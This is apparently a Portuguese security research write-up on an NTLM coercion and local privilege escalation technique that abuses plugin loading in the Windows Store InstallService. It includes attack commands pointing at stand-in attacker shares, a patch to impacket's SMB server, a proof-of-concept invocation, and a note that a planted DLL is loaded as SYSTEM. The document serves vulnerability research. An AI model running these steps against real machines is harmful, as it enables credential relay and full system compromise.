
Outra nova primitiva de coerção com LPE - coerção NTLM de conta de máquina a partir de um usuário não administrador via experimentos de resolução de plugin do Windows Store InstallService
A ideia por trás desta pesquisa foi simples, pois eu queria encontrar minha própria técnica de coerção. Comecei procurando novas superfícies de ataque RPC, mas depois que a Microsoft adicionou monitoramento de atividade RPC (https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368), decidi seguir um caminho diferente.
UNCanny é o resultado dessa toca de coelho. Não é algo que eu consideraria confiável para operações reais de red team por causa de sua limitação, mas ainda acho que as anotações valem a pena serem publicadas para qualquer um que esteja investigando a mesma área.
resumidamente, essa primitiva é:
um usuário normal entrega alguns metadados de instalação ao serviço de instalação da Windows Store -> o serviço, executando como sistema local, resolve um "plugin" para esse trabalho -> o resolvedor acaba fazendo
LoadLibraryWem um caminho que o usuário influenciou -> esse caminho é um UNC -> NTLM de saída como a conta da máquina.
o componente é o mundo do serviço de instalação da Windows Store: InstallService.dll hospedado em InstallService.exe, executando como NT AUTHORITY\SYSTEM.
A toca de coelho começou com InstallService.dll. Eu estava procurando componentes do Windows que instalam pacotes, restauram estado após reinicialização, retomam trabalhos com falha, leem conteúdo local/remoto e carregam plugins. Qualquer coisa que tenha essas quatro coisas juntas geralmente tem alguma confusão de limites em algum lugar:
A classe de runtime interessante era:
Windows.Internal.InstallService.Control.InstallServiceControl
IID: e4893a99-9270-42b9-9a62-683d6ceed250
method: vtable slot 8 -> CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

Esse parâmetro propertiesJson é onde a diversão mora. O comportamento da instalação é descrito por campos JSON como FulfillmentPluginId, SourceUri, PackageFamilyName, SerializedFulfillmentData, SkipCatalogLookup, ProductId, SkuId.
No começo, pensei que o bug seria "colocar um UNC em SourceUri e deixar o serviço lê-lo". Isso teria sido lindo, mas o Windows não foi tão generoso. Eu fiz engenharia reversa do caminho de cumprimento embutido (CreateInstallServiceWorkFromBridge, InstallService.dll) e os plugins embutidos simplesmente não fazem isso:
WU analisa o JSON e sai via WinHTTP / Delivery Optimization. nunca SMB.ChainedWork e XVC são a mesma história ou nem estão presentes em um cliente.SourceUri bruto ou é rejeitado rapidamente ou é roteado para validação de catálogo. CreateCatalogItemFromLocalData, apesar do nome, constrói um item de catálogo a partir do JSON serializado em memória, ele não vai abrir um arquivo.Então a ideia ingênua é um beco sem saída. Esse recurso é muito interessante e estou fazendo outras pesquisas primitivas sobre ele também, e vale a pena dizer isso em voz alta para que ninguém perca uma semana nisso :)
o único lugar em todo o fluxo de criar/restaurar onde o serviço toca um caminho influenciado pelo atacante é a ativação do plugin. a função é PluginHelpers::ActivatePlugin. ela resolve FulfillmentPluginId nesta ordem:
"WU" -> embutido"ChainedWork" -> embutidoStaticPluginMap (HKLM) -> CoCreateInstance de um CLSID, ou ativar uma classe WinRT"XVC" -> fábrica do XboxFindPackagesForUser(pfn) -> pegue o InstalledLocation.Path desse pacote -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")o ramo 5 é o único e PluginHelpers::IsPluginAvailable confirma a porta: retorna verdadeiro para qualquer FulfillmentPluginId que corresponda a um pacote instalado, através da mesma pesquisa FindPackagesForUser.

então, se um FulfillmentPluginId aponta para um pacote cujo InstalledLocation é um UNC, então InstallService.exe executando como SYSTEM faz:
LoadLibraryW( \\atacante\compartilhamento\InstallServicePlugin.dll )
LoadLibraryW precisa conectar a \\atacante\compartilhamento e autenticar antes de descobrir que a dll não está lá, e essa autenticação é a coerção, e a dll nunca precisa existir.

a única pergunta que resta é "como um usuário normal obtém um pacote cujo InstalledLocation é um UNC". a resposta é o registro de arquivos soltos, que é uma operação por usuário, sem elevação:
Add-AppxPackage -Register \\atacante\compartilhamento\AppxManifest.xml
o Windows registra o pacote "no local", então o InstalledLocation registrado é literalmente o UNC que você apontou. então você aciona o trabalho com o nome da família desse pacote como o ID do plugin.
Add-AppxPackage -Register \\atacante\compartilhamento\AppxManifest.xmlCreateInstallServiceWork( FulfillmentPluginId = <PFN desse pacote> )o chamador é um usuário normal, a autenticação de rede é a conta da máquina.

usuário com poucos privilégios acionou, conta da máquina autenticou. o próprio carregador do Windows fez o toque UNC, não o chamador.

duas coisas para resolver antes de executar:
o impacket-smbserver reporta tipo de sistema de arquivos XTFS. AppX se recusa a registrar em compartilhamentos que não são NTFS (0x80073CFD. corrija o campo FileSystemName em impacket/smbserver.py para NTFS.
o compartilhamento precisa de AppxManifest.xml, logo.png, dummy.exe. não é necessário InstallServicePlugin.dll. MaxVersionTested no manifesto deve ser ≤ a build alvo (winver no alvo para verificar).
Você pode executar poc/setup.sh da raiz do repositório no Kali. ele popula o compartilhamento, corrige o impacket, prepara poc.ps1 no alvo via smbclient se TARGET_IP e TARGET_CREDS estiverem definidos, e inicia o servidor ;-)
Em seguida, na sua estação de trabalho Windows como o usuário com poucos privilégios a partir de uma sessão interativa:
powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce
Existe um segundo lado para o mesmo bug que é mais direto do que a coerção. se InstallServicePlugin.dll realmente existir no caminho do pacote UNC, o serviço ainda atinge o mesmo ramo LoadLibraryW(\\atacante\compartilhamento\InstallServicePlugin.dll), mas desta vez o carregador tem sucesso e a dll é mapeada dentro do processo do serviço de instalação da loja como NT AUTHORITY\SYSTEM.